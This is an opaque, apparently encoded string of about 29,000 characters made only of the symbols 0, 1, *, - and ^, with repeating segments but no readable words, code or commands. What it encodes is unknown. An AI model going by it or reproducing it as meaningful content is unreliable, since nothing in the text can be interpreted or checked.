01^-*001*01*******0-11010--0^1101*01*01101101*011*-*00^11*-11*0011*0^11*1101*00^1^-11*0101**011010-01*011**101*******0-001*101*1**--------00^101*-*01*001^1*^11*--------1^-1*-*1101*--------0^1101*-*01*001^1*10-**********1*********01**0101*101*01^11*00^110^1^^-11*1*011*1*0011**--------110^11*-*01*001^1*00-*0101*001101*********-011********00^101*********101*********0^1*1********^1*1********-011*******************01*11********001*11********00^1*0101*1*1*001*1*001*001^1**11*101*001^1*001*******0-11010--001101*01^1*********1***-001*1*******1*1*********00-1***001**001^1^1*1*******0010101*011*001**001011010-1*01**0110^1************01*1**********0010101***********010-01101^1*********11*0010-011011*******0011**0101*11****011**011*1*010^-----10--1^11011*-*011*01011*0-11**********1**0-00--------1^-1*-*-*0-11*-----10--110110-*-*011*0-01*********-*00^-001**00--1^11*011*00-----10--110--*-*011*0^1101*********101011*00^1*^110101^-11*101*001*1*0101*0-01*--------11010-*-001101101*-*1*^1*****01***011**001*11*001*1*---------11**-*011*01*^-1*10-11*101*001*1*********1101*0^-001**00--101101*011*00--------1^11*00-*011*001011*0101*0^11*01010^--------*0-1*-001*^-110110-11*001*001*1*---------*1*0-*011*0^1101*011010-11*1*^--010-11*001*001*1*********0-*0^-001**00--1*11*011*00--------0-101*0-*011*0^110101010-0-11*1*^110^110-11*001*001*1*0101**011*--------0-011*0-*011*0^1101******11*1^1***0^1^^-011*^1**********^101^-*11*******110-*00101*101101*1*******00-110110-^1*******001010-*0011**^--------0010-1*-*-1*--------^1^1*-*011**-*********-*00^-001**00---101*011*00--------^10101*-*011*0^1101*****0010^11*10101**^1^^1********00-001*00^^1*00101*001101*********10-011********10101*********1101*1********1*0011********01*001********0-0101*********0011*********00101********0110101********001**1********1101*1********10-011********10-011*********11011******************00-1*0101*1*01**11*001101*011*001^1*001*******0-11010--0101*001^1*001****01**0-010^--*1*001^1*001****01*****0--01011**1****01**0^110^--001101*01^1*********1***-001*1******011*01*****001**01*011***11***01^11011*********01010^-----10--11*-*0-*011*01*^11*-0-11**1*01*1*-----10--^-11*0-*011*0^1101010101010-11*1*^1********1010^1*00^^1*01*1*--------0010-1*-*1011*-----10---00^1*-*011*0^1*0-11**********1*0^-001**00--101011*011*00-----10--^^101*-*011*0^1101********01*0011*00^1*^1*-00-11*^1*00101*0-01*--------1^-1*-001101*0-11*-----10--110-101*-*011*0^1101*****0010110^1010^1*00^1^^11*1010-11*101*001*1*********1*1*^-001**00--101101*011*00-----10---101011*-*011*0^110^1010110-11*1*^1********10-001*00^^1*01*1*0101*001011*011*******-0-*0101*1101*01**--------01010-*-00^11010-01^-11*1*^1********010-01*001*001*01*1*--------1***0-*011*0^1101******01011*1011011*001*010^1*********10101*00^-*001*1*********00101*^-001**00--1^11*011*00--------0-1**-*011*0^110101*^1101^10-11*011*001*1*1*^1*****01**0-0-**1*11*001*1*0101**011*110101******-11**101*^1^-11*00101*-11*01101*001*******110-10110-^1**--------1^-1*-*101*0-11*--------110^1*0-*011*0^1101******0010^10--*00^1^^1********--01*00^101*001*1*********00101*^-001**00---101*011*00--------*1011*0-*011*0^1101******11010^-101**1*010^1*****01***00-1*001*01*001*1*0101*0^11*110101******-*01*101******1**0-0-**1******1**0101*1**1*01*******110-10110-^1**--------00110-*-*101101010-*1*^1********-01101*00^^1*0--------1*0101*-*011*010-*********-*00^-001**00--1*11*011*00--------1*1101*-*011*001011*0101*001101*********11*-********0^101********00110-*****001***1*******1**001101*********00-001*****01**0101101******1**0^^1********0-001*********110-*****001**001101******01**00-11********00^^11********************1011********^1**********001*101*1*01**11**011*^1*01^1*001*******0-11010--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001****01**001**0--0101*001^1*001****01**0^110^--*1*001^1*001*******010101010--01011**1****01*****0--001101*01^1*********1***-001*1******001*01*****001**0^^11**00101***1^1^1*********01010^-----10---00^1*-*011*001011*-----10--10101^1*-*011*01101101*-*1*^1*****01***011**00^^1*0--------0010-1*-*0011*-----10---110101*-*011*010-*********-*00^-001**00--101011*011*00-----10----101*-*011*01101101011011*1*^^-*-11*-*001*1*0101*0-01*--------10110-*-00^110^101*0-11*1*^10^1010-11*011*001*1*-----10---011011*-*011*011011*********-*00^-001**00--101101*011*00-----10---010-*-*011*0^1101******10^1^-01**^1^^1*****01**01*1101*00^101*001*1*0101*001011*011*******-0-*010^-01*01**--------0010-1*-00-01*--------0-**0-*011*0^11*********-*00^-001**00--1^11*011*00--------0-1**-*011*0^110101*^10-1^-11*001*001*1*1*^1*****01**01011011**1*01*001*1*0101**011*110101******-11**101*0011*-11*0-1^-11*-01*001*******110-10110-^1**--------1^-1*-001011*0-11*--------110^1*0-*011*0^1101010110^-11*1*^1*****01**010-11**1*01*001*1*********1*1*^-001**00---101*011*00--------10^11*0-*011*001101*0101*0^11*110101******-*01*101*********00^11*001********00^-11*001*01*******110-10110-^1**--------0010-1*-*1101*--------^1*1*-*011*0^1101*-110-11*1*^1********10101011*001*01*001*1*********1*1*^-001**00--1*11*011*00--------11*101*-*011*0^110101*^1*****01**00-011**^^1*01*^1********^10101*00^^1*00101*001101*********-01*********110-11********00-001*****01**0-001******1**0-001********00-011*********11*01****************1**01*1*********0110-*********110-********-01*********0^1101*****01****1********00-^11********1010101*********001*101*1*01**11*00-1*-*001^1*001****01**0-010^--0011*001^1*001****01*****0--0101*001^1*001****01**0^110^--*1*001^1*001****01**001**0--01011**1*******0-11010--001101*01^1*********1***-001*1******01*001*****001**0^1^1**00101***1^1^1******0010101*101****1**01010110-11011*1101^101101******1010-*0011**1*01*******00-110110-^1**001*******110-10110-^1**110101******-00101*101******1**00--1*001******1**001010101*001*101****1**0010-0-00-0011*******110-^11**--101**001*******110-10110-^1**001*******00-11010-11*1*******11011*0--001**0101******0011*01*0101*1**001*******110-1010-1^101****1***10110-00-001*****1101*01^1*********1***-*******************00-101***101***1^1^1****10101*01*******10-11010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******10-110110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*--------10-**-*01*001^1*01101*01010^-*00---------001*00-*01*001^1*01101*--------1^-1*-0010-*--------101011*00-*01*001^1*^1101*101^-11*1*^1*****01**01*1**00^-*001*1*********0^1*^-0010-01*011**1101*01*00101101010^1*001**11******0011**0-011**1*101**011010-01*011*00--------10-01*0-*01*001^1*^11010-01^-11*1*^1*****01***10^1*00^-*001*1*1101*00101****1**0011*01*101*1**--------0110-*0-*01*001^1*^1101******-01010^11**0^1^^1*****01**01****1*11*001*1*1101**1*00--------1^-1*-0011011*--------1^^1*-*01*001^1*1*^1*01010-11*101*001*1*********0011*********01**0101*101*01^11*00^11010-10^-11*1*011011**001*00--------*01101*-*01*001^1*01101*0101*001101*--------010-01*-*01*001^1*1101*0-11*01^1*11*******1010-*001011********-1*********00101^1********00^101********1^101********001*101********00-1********001^101*********11011********0^11*********0101^1******************00^11*********0011*0101*1*1*001*1*********011*1*0-00-*001^1*001*******0-11010--0011*001^1*001****01**0^110^--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1********01*****001***1****011***01^1^1******0--------0-**0-*01*001^1*^1101*****001^1*011***01*010^101011010-11**1*01*1*01010^1*******0011**1010-0-*00--------01^-*-00^1101*****0010-1101^-**1*010^1*****01**010-001*00^-*001*1*--------010-*00-*01*001^1*10-**********1*0010-0010-01*011**1*0--------010^1*0-*01*001^1**11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------0-101*0-*01*001^1*^1101*101010-11*1*^1*****01**0^1101**1*11*001*1*1101*00101******001011*-11011011**11011******011**0011*101**--------10-11*0-*01*001^1*01011*1101**101*--------^10-*-00^1101******^1101101*11*00^1^^1010-00-11*101*001*1*---------0^1*-*01*001^1*^11**********1*********01**0101*101*01^11*00^1101*0-10-11*1*0110101**01*00--------*01101*-*01*001^1*1101*0-11*0101*001101*--------110-01*-*01*001^1*-01*01^1*11*******0010-*001011********^11*********001^1********0^10101********01*101********01*101******************00^11*********1101011********001*01********0--1********00-********************0011*0101*1*1*001*1*********101*1*0-*001*01^1*001*******-1*10--0-*001^1*001*******010101010--0011*001^1*001*******0-11010--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0--******1**001011***0011***01^1^1*-----10--1^-11*-001011*0^1101******0-*1101*1*00^1^^1^10^-11*011*001*1*01010^11011******001**0010-0-*00--------1*1**-001011*0^1101******010^1*01101*001*010^1*****01**011011011*00^101*001*1*---------00-*-00^1101*****00110110^-0101*00^1^^1********0-0-*001*11*001*1*--------*-*00-001011*00101*0-11**********1*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------*0101*0-001011*0^1101*****00-0-*0-11*001*010^1********0-*1*001*01*001*1*1101*00101******00110^11*10^--------0101011*0-001011*0-01*1101**101*---------00-*-00^1101*****00--1^10-1*001*010^1*****01**00--1*00^101*001*1*--------011*01*-001011*0^1101******1^1^-0011*001*010^1*****01**01^101**^101*001*1*********00101*********1**0101*101*01^11*00^110^11*10-11*1*011011**01**--------11010101*-001011*0^1101******101*010-**001*010^-011*001*001*1*0101*001101*--------10-101*-001011*011011*01^1*11*******1^-*001011********-0101********010^101********-0101********0^-01*********0011**********011********1011********************-11**********0011********0010-1********0^-01********0011*0101*10^1*********011*01*0-*11*001^1*001****01**0^110^--0101*001^1*001*******010101010--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******00-11******1***0101***011***01^1^1************-001*1*00110---011*1**011*1***1********001*1**0010101**************************************************************101*00101*101*1*1*1*1*1*1^1**11*00-0110101******001^-1*101*001*0--------01^-*-00^1101********011011011*00^1*^1********01*-*001*101*01*1*---------^11*-00-1*01^1*01101**********1*0^-00-*********00-001*******************0-001********00-001********00-001*******************01*01********00-*00101*10-1*01*1*-1*01^1*11011*********0-001010-01^1*******1^-010-1^101*******001**0101*11*******011**00101*1011*-*0010110101**--01**01*0011010-11*011**11****011**1*-*0101*-**^1*0010101^1^1*00^-01********************101*01*01*01*******1^-0110-1010^1*1**110101*******11**101******11**0010101**1******11**1011011**^1**00^1*0011*010^1*01*******0010-0110-^1**********001^1***************************************************101*00101*101011*01*1*1011*01^1*01101*------0--0010101*-00101*001^1*10-**********1**0-00--------0^-1*-001*0^-11*------0--0-101*-00101*001^1*1^^^-010-11**1*01*1*********0011*0^-001**00---01*0-11*^1*0------0--^1011*-00101*001^1*0^1*-11*1011*0-01*--------^10-*-00^1101********010-101*00^1*^1101*10-11*1101*01*1*------0-110-0-*-00101*001^1*^1101*****001^10101101***^1^^1*****01**00^1**001*001*01*1*********10101*^-001**00--101101*^1*0-----^--0011**0-00101*001^1*^1101*****0010101*01*101*001*010^101011*-11*-*001*1*1011*0^1*0-11*-----^--1*01*00-00101*001^1*^1101******--^-011*001*010^^^^-11*^1*01*1******01**0-*10^-00110101******11011**10^11*^-11*010-00-11*011**01*******^-10110-^1**--------0^-1*-001^1*-11*-----^---^1*0-00101*001^1*^1101******01^11*01101*001*010^11*0010-11*^1*01*1*********0^1*^-001**00--10-1*^1*0-----^--0101011*0-00101*001^1*^1101*****00-0110-^1**0^1^^1********1*0-*001*001*01*1*1011*0^11*--------0^-1*-00-01*-11*-----^--*1*1*-00101*001^1*^11*-11*********^1*0^-00110101******010-1*0101******1**010^1**01******1**00-***1*11*00--------01010-*-00^1101******101011*01*1*00^1^^10-1**1*01*1*-----^--10101101*-00101*001^1*00101*-11*********^1*0^-001**00--1*11*^1*0-----^---*11*-00101*001^1*1*^1********11*101*00^1101*01*1*1011*010-*-----^--*11011*-00101*001^1*11011*0101*0110101******1101011*0101*********1101101*001**********0101*001*11****01**01*001*0101*0101*11011010^1*0^^-^^1*001*1011*00101*011*******00101011*10^^-*011*010^10110-11**1*0011*00101010-11*011*00--------0^-1*-*-1*-11*-----110--0^1**-00101*001^1*^1101*****0011010^-0-1*001*010^1*****01**0110^11*00^-*001*1*********10101*^-001**00--^-*^1*0-----110--*011*00-00101*001^1**11*1011*00101*0-11*001*******^-1010-1^11**1**--------1^-1*-*0011*-----110--*^1*0-00101*001^1*^110101*^1********01^101*00^1101*01*1*1*^101101*1101*01*1*********00101*^-001**00--1^1*0-11*^1*0-----110--01^11*0-00101*001^1*-1*0-11*1011*011011*-----110--1*-*0-00101*001^1*01011*-11*0101*0110101******1101011*0101*********110-1*001**********0-*001*11****011**1*-*0101*-**^1*0010101*0^1*001*1101*******************001011*01*01*11****001***1^1*101*-1*01*11011**00-00110^101*001*0101*011*00--------0^-1*-00-1*0-11*-----110--0^1101*-00101*001^1*^1101011*110-11*1*^1********01101101*00^1101*01*1*********0^1*^-001**00--101011*^1*0-----110--101^11*-00101*001^1*^110101*^101010^-11*0101*01*1*1*^1********00--*001*101*01*1*1011*00-1*-----110--00^-*-00101*001^1*00-*-11*0101*0110101******1101011*0101******1**001*11**1******1***10-**1*11****011**1*-*0101*-**^1*0010101^10-*001*1101********************1**1*01*11****001***1^1*10^^11*01*11011**00-00101010101*001*0101*011*00--------0^-1*-**0^-11*-----10--110^1*00-00101*001^1*^1101*****0010^1011*-1*001*010^10-1*^1*01*1*********1*1*^-001**00--110-*^1*0-----10----1*00-00101*001^1*10101*-11*1011*01101*0-11*1101*001101*--------^10-*-00^1101******0-10-011**00^1^^-011010-11**1*01*1*-----10--110-01*0-00101*001^1*^11**********1*0^-001**00--10101*0-11*^1*0-----10---11011*0-00101*001^1*^1101******10101010-***1*010^^10-0-11*^1*01*1*1011**-*-----10---*001*-00101*001^1*^1101*****00-1*11**1*00^1^^1*****01****01**1*001*01*1*0101*0110101******1101011*0101******01**0101101**1******01**001^1**1*11****011**1*-*0101*-**^1*001010-^-*00^10-********************-*01*01*11****001***1^1*10^-01*01*11011**00-00^101101*001*0101*011*00--------1^-1*-*0-*-----10---1^11*-00101*001^1*0011*0-11*********^1*0^-001**00---011*^1*0-----10--11*0-*-00101*001^1*^1101********101011011*00^1^^-010110-11**1*01*1*1011*001011*01010^--------0^-1*-**1*-11*-----10--110--*-00101*001^1*^1101******00^^-0101*00^1^^1********11*001*001*001*01*1*********10101*^-001**00--1^11*^1*0--------11011**-00101*001^1*^1101******00-011010-**1*010^1*****001**11*01**^-*001*1*1011**011*0101*0011****01***-**101*^1^-11*0110-0-11*--------0^-1*-*-*0-11*--------11*01*0-00101*001^1*-11*-11*********^1*0^-001**00---101*^1*0--------1010101*0-00101*001^1*^110^^-0-11*1*^1********10101101*001*11*001*1*1011*001101******01**0110^1*****0011**1^1101*****011***-01*****01***-001********101101******01**01*101********0010-*****001**0101*01*****01**0010101******1***0-11*****001***10-*****011**1101*1*****01**00-1101*****001**--11*****01**0010101******01**11*011*****011**10-01*****0011**0110^1*****011**10-01*********01*1*****001**11**********0-001*********101**********00101******************001^-*****0011**1*01******01**-001*********0101*********010-11*****001**1*^1********01^-*****01***-******001**^-******01**0-101*****0011***^1*********^^101*10101*001*1*101*001^1*1101*0-11*1101*01^1*001****01**0-010^--00101*01^1*001****01**001**0--0^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001*******010101010--0011*001^1*001****01*****0--001101*01^1*********1***-001*1******010-1******101**001011****1**001^11011*1*******0010101*011*001***0-*0110-***01^1************01*1*****01010^-*001*1*-----10--10-1**-00--------11*1*00-00-1*01^1*^110101*^101^110-11*1*1*1*1*1*^1*****01**0-01**00^1*1*1*1*--------1^-1*-*0011*--------0-11*00-00-1*01^1*0-1**********1*0^-001**00--1*11**1*01*1*--------*0101*0-00-1*01^1*1101*0-11**1*01^1*-01*--------0^-1*-001101*0-11*--------11*11*0-00-1*01^1*^110^-^--01********00--1*001*101101*10^1*********01101*001*01*******010101010--*10^1********1**1*001*01*******010101010--********01**1*001*01*******010101010--******1^1010^1011*001*010^^-*-11**01*1*1*********010-00^-001**00--101101**1*01*1*---------00101*-00-1*01^1*^1*0-11**1*01^1**11*01010^110101******01^101*101******01**00-**001******01**101^1**^1*******00101*1^11*-**********^-1*******************01*1********001*^1********11010101********01101*********^-1******************************1^101********1011011********011010101********0011*0101*10-1*01*1*-1*01^1*0101*0-11***********0010-01101^1*********0110-10-0-11*001^1*110101******01^101*101********00-1*1*001*********-1011*001*11*00--------0-01*00-*011*01^1*1*^1*****01**0-0^1*00^1011*01*1*01^1*11*******-001*00101*11*001*1*011********-*00101******11**-0-1*001******11**10110-*001*1101*011****01**011*01*0101******1**0-*1**1******1**01*11**01**1*-11*011*00-*0011**11**--------0101011*0-*011*01^1*11011*011*001^1*011*******01^1*0010^101*001*1*101*001^1*011*******10^1*00101*01**^1*^1**1*001^1*01101*1011*0011*******-11**101******1**011*11010-0-11*001^1*011****011**0011*1*101*^11*1*110101^-001*1*001********************01*01*0^11011*--------1^-1*-*-1*---------10101*-*011*01^1*01011**********1*0010-*001**11*0011*******01*1*0010^-*001101*01*******001*0^1011*1********--11*001*101*00101******0011*1101^-********0-*1*****************************001101011*********1101******************************-00101********^-01********^1*0101*1*11*01*1*0011*01^1*00-******01**0-^10^-001**00---101**1*01*1******01**010-011*-*001*01^1*01101********************001*********011***********1**********01*********0101*00101*^101*01*1*0101*01^1*01011*1011*01^1*001*******0-11010--01*1*1^1*001****01**001**0--*001*1^1*001*******-1*10--001101*01^1*********1***-001*1*******-1******01**-001***0^1**001^11011****1010^-----10110101^1*01*-*011**101010-11*-----10110101^11*1*-*011*0^1101*********1*01*00^1*^10--0-11*011*001*1*--------01010-*-00^1101010^^-11*1*^1********00101011*00^-*001*1*-----1011010-0110101*-*011*010-010-11**********1*0^-001**00--10^-0-11*011*00-----1011010--1101*-*011******001**0010101**01*101*0-01*--------*0-1*-******1**0010101**0^-----10110101101101011*-*011**********-001*001********001101*0^-001**00--101101*011*00-----10110101101010-*-*011*0010-00-11*0101*010110110-11*001*******1^-010-1^101******0011***101*101******00-*00-101^11*******1*-*010^11**01**001*******1^-0110-1010^1*1**--------1^-1*-*10-00-11*------1010-0011**-*011*********0-10-*001********001101*0^-001**00--^110110-11*011*00------1010110-01*00-*011*0^1101*^110-11*1*^1********11*101*001*01*001*1*0101*010^110-11*--------01010-*-00^1101*****001*10-^1101*001*010^1010-00-11*^1*01*1*------1010110^101*0-*011**********0-01*001********001101*0010-*101*******01*00-101^11*******00101011*10^^-*011*010^10-11***1*0-*********--11*001*101*******11*00-101^101*******01*10-101101*******00101*1^11*-**--------1^-1*-**0^-11*------1010110-*1*-*011*0-10110-11**********1*0^-001**00--^^110-11*011*00------101011*00101*-*011*0^1101011011010-11*1*^^110^-11*101*001*1*0101*01*0^-11*01010^---------10-*-001101101*011*1*^101011*101*001*1*------1010-0-101*-*011******001**01^1**001********001101*0^-001**00--1*00^-11*011*00------1010110^1011*-*011**********010101*001*101*01*0110-11*--------*0-1*-********00--11*00^------10101101010-*-*011*********0-10101*001********001101***01**^-11*11**--------*0-1*-*********0010101*00^-----1*110-11**00-*011******001***00101**1********001101*0^-001**00--1*00110-11*011*00-----1*1101^-**-*011*0^1101******1^^101101**0^1^^1********0010-1*00^^1*00101**001*-11*--------*0-1*-********00-00101*00^-----1*1101^-1*00-*011*0^1101******^101^-011*00^1^^1********0-0101*00^^1*********01^1***1011011*-11*11**--------*0-1*-******1**0-01**00^-----1*110-*011*0-*011*0^1101******1**010-1**1*010^1*****01**001*11**1*001*01*1*********00101*^-001**00---11*0-11*011*00-----1*110---*0-*011*0^1101*001*-11*1*^1********10101101*001*11*001*1*0101*01011*0-11*---------00-*-00^1101******-01*-11**01*010^1*****01**0-^11*001*001*01*1*-----1*1101101^101*-*011*00101101*011*1*^1*-00-11*101*001*1*********1011***010^1*0-11*11**--------*0-1*-*********01*11*00^-----1*110-01*11*-*011******001***011**001********001101*0^-001**00--^11*0-11*011*00-----1*1101101011011*-*011**0110101*0110-11*1*^11*0010-11*011*001*1*0101*010110^-11*01010^--------*10-*-00^1101******^-1010101**0^1^^1********001*01*00^^1*0-----1*110110--1*-*011*0^-00-11**********1*0^-001**00--^110^-11*011*00-----1^11011*01**-*011*0^1101******-0^1^1011*001*010^1*01010-11*^1*01*1*0101*0^-00-11*01010^--------01010-*-00^1101*****00-101*0101**001*010^110110^-11*^1*01*1*-----1^110-01011*00-*011*0^1*0-11**********1*0^-001**00--1*-00-11*011*00-----1^110-11*1*0-*011**********10^1*001*101*0-01*-11*-----1^110-010101*0-*011*0^1101******001^10-11**01*010^1********01010101*00^^1*01*1*001*******1^-010-1^101******0011***101*11****01**01*001*0101*0101*11011010^1*0^^11*00101*001*0011*00101*001*******1^-0110-1010^1*1**--------*10-*-00^1101******^-11**1*00^1^^1********001*01*00^^1*0-----1^110-001^1*-*011*001*010-11**********1*0^-001**00--101101*-11*011*00-----1^110-1010101*-*011*********011*-*001*101**-*-11*--------01010-*-00^1101******^10-011***1*010^1010-10-11*^1*01*1*-----1^110-00^11*-*011*0^1101*****0011*^-1011**1*010^1*****01**0^10101*001*001*01*1*********00101***1*010^-11*11**--------11010-*-00^1101*****0010^-010^1**^1^^^11*0-11*^1*0-----1^1101^10-1*-*011******001**0110^1**1********001101*0^-001**00---011*-11*011*00-----1010110-001**0-*011*0^1101*********^101*00^1*^110^^-11*-*001*1*0101*0-01^-11*--------*0-1*-*********101^1*00^-----1010110-1^1*00-*011*********001^-*001********001101***0101*0^-11*11**--------1^-1*-*0-^-11*-----1010110-*001*0-*011******001**0-101**01********001101*0^-001**00--101101^-11*011*00-----1010110110110101*0-*011**01101*****001**011***00^1*^110-110-11*101*001*1*0101*0^^10-11*--------1^-1*-*1*^-11*-----1010110-*-*0-*011*00-0010-11**********1***01*10-0-11*11**--------*0-1*-******1**001*1**0^-----1010110-101*1*-*011**********110101*001********001101*0^-001**00--1*^10-11*011*00-----101011011*00101*-*011*********0-01101*001*101***110-11*01010^--------*0-1*-********00-01101*00^-----1010110-00-01*-*011*01*^1*0-0-11*-*001*1*********1101*0^-001**00----010-11*011*00-----1010110110-0011*-*011******001**0101***01*101*0-10^-11*-----10101101^-011*-*011*********0-0-1*001*01*******1^-010-110110101******0-*1*101******11**0^1011*001******11**00-011*001*11****001***1^1*101*0011*01*11011**00-001*-01*001*0101*001*******1^-0110-1010^1*1**---------00-*-00^1101*****001*001101^101*001*010^1********110-11*001*001*01*1*------0110-*01*00-*011*********0^-01*001********001101*0^-001**00--10-0^-11*011*00------011011011011*00-*011******001**00^1**001*101**-*01010^--------*0-1*-******1**00^1**00^------0110110-001*0-*011******001**0^101**01********001101*0^-001**00---011*011*00------01101101*11*0-*011*0^1101******1**0101^1*00^1^^-10-0-11*^1*00101*0010-00-11*--------*0-1*-********001**1*00^------0110---*0-*011*0^1101******110-*101101*001*010^1********0-*1*00^^1*01*1*********00101***101011*0-11*11**--------1^-1*-*1101*-11*------01101101*101*-*011*01*^^110^-11*001*001*1*********1101*0^-001**00--1^-00-11*011*00------0110-1101101*-*011**011010-*10-11*1*^^1*10-11*101*001*1*0101*0-*10-11*------011011*^11*-*011*01*^1*****01**0-101**01*01*001*1*001*******1^-010-110110101******0-*1*101******1**01^11**01******1**010-1**01*11*******011**00101*-1*-*0010110101**110101*1*001********0010^101*001*01*******1^-0110-1010^1*1**--------*0-1*-******1***0011**0^-----^-0-101**0-*011**01101*****001**001011**00^1*^1********00110-*001*11*001*1*********00101*^-001**00--1011*10-11*011*00-----^-0-00101*00-*011*0110^10-11*0101*0^10110-11*--------1^-1*-*1011010-11*-----^-0-10-*00-*011*********0110-11*001********001101*0^-00-110101**00--101101*011*******01^11*0101*1**011*******^1011*0101*1**--------1^-1*-00110^10-11*-----^-01101*11*0-*011*********00-1101*001********001101*0^-001**00--1*10110-11*011*00-----^-0-110-*0-*011**01101*****001**010^1**0^1*^11*1*-11*101*001*1*0101*0-1*0-11*01010^--------*0-1*-******1**0^-**0^-----^-0110110^1*-*011*********0^^11*001********001101*0^-001**00--10-*0-11*011*00-----^-0-1010101*-*011*********0--01*001*101*01101*0-11*-----^-0-00-01*-*011******001***0^1**1*01*******1^-010-110110101******0-*1*101******11**1^1011*001******11**10-011*001*11****011**10-001*10^1101**-^1^^-*-*001*0101**11**11*-11*001*******1^-0110-1010^1*1**--------*0-1*-********00--01*00^-----^-0-110-1*-*011******001**01****1********001101*0^-001**00--10101*0-11*011*00-----110-01^11**0-*011*0^110101*^-101^-11*101*001*1*1*^1********001*01*00^101*001*1*0101*00-1*-11*01010^--------*0-1*-001*^10110-0-11*011*001*1*-----110-0110-01*00-*011**0^10-11**********1*0^-001**00--110-*-11*011*00-----110-011**1*0-*011*0^1101******1010--^11*001*010^10-1010-11*^1*01*1*0101*0^11*-11*--------11010-*-*00110101*^-101*011*001*1*1*^1**10-11*011*001*1*-----110-0-1*11*0-*011*001101010-11**********1***0^1^^-11*11**--------*0-1*-********0011011011*00^-----110-0-0-11*0-*011**011010^11*1*^1^10^-11*-*001*1*********1011*0^-001**00--1*11*-11*011*00-----110-01^10^1*-*011*********0010^11*001*101**101010-11*01010^--------*0-1*-*********10^11*00^-----110-0-0110101*-*011*********01^1101*001********001101*0^-001**00---001010-11*011*00-----110-01101*011*-*011*01*0010-11*0101*010101^-11*-----110-0-01^11*-*011*001101*001*******1^-010-110110101******0-*1*101******01***0101**1******01**0-101**1*11*******011**0010^-01*-*0010110101**1^101101*001********00-00101*001*01*******1^-0110-1010^1*1**--------*10-*-00^1101*****00-00110-01**00^1^^1*****01**0101*1**^^1*0-----10-10-*1**-*011*01^-0-11**********1*0^-001**00--^101^-11*011*00-----10-10-1*1*00-*011*0^1101*****00-1*^10-**^1^^1*****01**00110-**^^1*00101*00-0110-11*01010^---------00-*-00^1101*****00^110^^11**01*010^1*****001**0-11**01*001*01*1*-----10-10-01^1*0-*011*********0-^11*001********001101*0^-001**00--110110110-11*011*00-----10-101101*11*0-*011*********01^^1*001*101*001101*-11*--------*10-*-00^1101*****00110^^-0011*00^1^^1*****01**0101***0^^1*0-----10-101101*001*-*011**01101********01010^1*00^1*^--110-11*101*001*1*********1*1***1*101*-11*11**--------10110-*-001*^1********0-0101*00^-*001*1*-----10-1011*10101*-*011******001**0^11**001********001101*0^-001**00--110101*-11*011*00-----10-10-0-101*-*011*0^1101*****00110110101*-1*001*010^1*****01**00-101**1*001*01*1*0101*0^11010-11*-----10-101^101011*-*011**011010-11*-11*1*^-101*-*001*1*001*******1^-010-110110101******0-*1*101******01**10101**001******01**11011**001*11****01**01*001*0101*0101*11011010^1*0^^-00-01*00^^11*00101*001*******1^-0110-1010^1*1**--------1^-1*-00^10110-11*-------011*01**-*011******001***^1**01********001101*0^-001**00--1*11010-11*011*00-------0-0^1*00-*011******001**01*001**1*101*00^1010-11*--------01010-*-00^1101******-110-01*1*001*010^10^1*-11*^1*01*1*-------0-1*01*0-*011******001**011011**001********001101***010-0-0-11*11**--------*0-1*-******1**01*001**^-------011*0011*0-*011**********--*001********001101*0^-001**00--11*1010-11*011*00-------0-010-*0-*011*01*^110^110-11*011*001*1*0101**00-0-11*-------0-1*001*-*011*********010110-*001*01*******1^-010-110110101******0-*1*101******01**0-001**1******01****1**^110101******110-*00101********0010-011*001********001*-1*001*11*******1*-*010^11**01**001*******1^-0110-1010^1*1**--------*0-1*-********0010101011*00^-------0-00^11*-*011**********-011*001********001101*0^-001**00---110110-11*011*00-------0110-1011*-*011*01*1010-11*0101*01*0010-11*-------0-0010-*-*011*0--00-11*001*******1^-010-110110101******0-*1*10^11011010-11*10101010-11*011*******011**00101*0-*-*0010110101**11*-01*001*1010110-11*001*******1^-0110-1010^1*1**--------01010-*-*00110^10-00-11*1*^1*****01**001*1**01*01*001*1*-----1*00-11*1*00-*011*********01^1011*001********001101*0^-001**00--1**10-11*011*00-----1*00-*-*00-*011**01101********00101*1*00^1*^1^11*001*001*1*0101*001011010-11*01010^--------*0-1*-*********--1*00^-----1*00-0110101*0-*011*********010-101*001********001101*0^-001**00--1^11010-11*011*00-----1*00-1101011*0-*011*********0^-11*001*101**110^-11*-----1*00-^-1*0-*011******001**00-001**1*01*******1^-010-110110101******0-*1*101*0011*-11*01101*-11*011****001***1^1*10^^11*01*11011**00-00101*001*001*0101*001*******1^-0110-1010^1*1**--------*0-1*-********00^-11*00^-----1*00--10101*-*011*00^-0-11**********1*0^-001**00---010^-11*011*00-----1*00-1*0011*-*011*0^1101*******010-0-1**1*010^1*****01***01101**1*001*01*1*0101*01*-0-11*01010^--------1^-1*-00-01010-11*-----1*00-*00-*-*011**^110-11**********1*0^-001**00--1*0-0-11*011*00-----1*00-0^-1*-*011******001***001**001*101*001*^-11*--------01010-*-00^1101*-^-11*1*^1********1101^1*00^-*001*1*-----11*0-*01**-*011*0^1101******-0-0-1011*001*010^^1*10-11*^1*01*1*********1*1***10-00^-11*11**---------00-*-*001101********00-0011*00^1*^1*****01***011**001*01*001*1*-----11*0-00-1*00-*011******001****01**1********001101*0^-001**00--11*0^-11*011*00-----11*0-1*101*0-*011*********0101^11*001*101*00^1^-11*-----11*0--1101*0-*011**-*001*******1^-010-110110101******0-*1*101******1***11011**1******1**001*11**1*11*******011**0010^^11*-*0010110101**-*0101*001*01^10-11*001*******1^-0110-1010^1*1**--------01010-*-00^1101******001*110^101*001*010^1^1*0-11*^1*01*1*-----11*0-0-^1*-*011**********10-1*001********001101*0^-001**00--11*1^-11*011*00-----11*0-1^1101*-*011*0^1101*****00101*1^10101**1*010^1********11010101*001*001*01*1*0101*00^-0-11*-----11*0-010^11*-*011*01*^-00-0-11*011*001*1*001*******1^-010-110110101******0-*1*101********00-^11*001********001*0011*00^110101******110-*0010^110-10-11*-01010-11*011*******1*-*010^11**01**001*******1^-0110-1010^1*1**--------*0-1*-*********0101101*00^-----101*-0101**0-*011*0^11*********-*00^-001**00--11*-0-11*011*00-----101*-11011**-*011*01*^1********10-011*001*11*001*1*0101**010^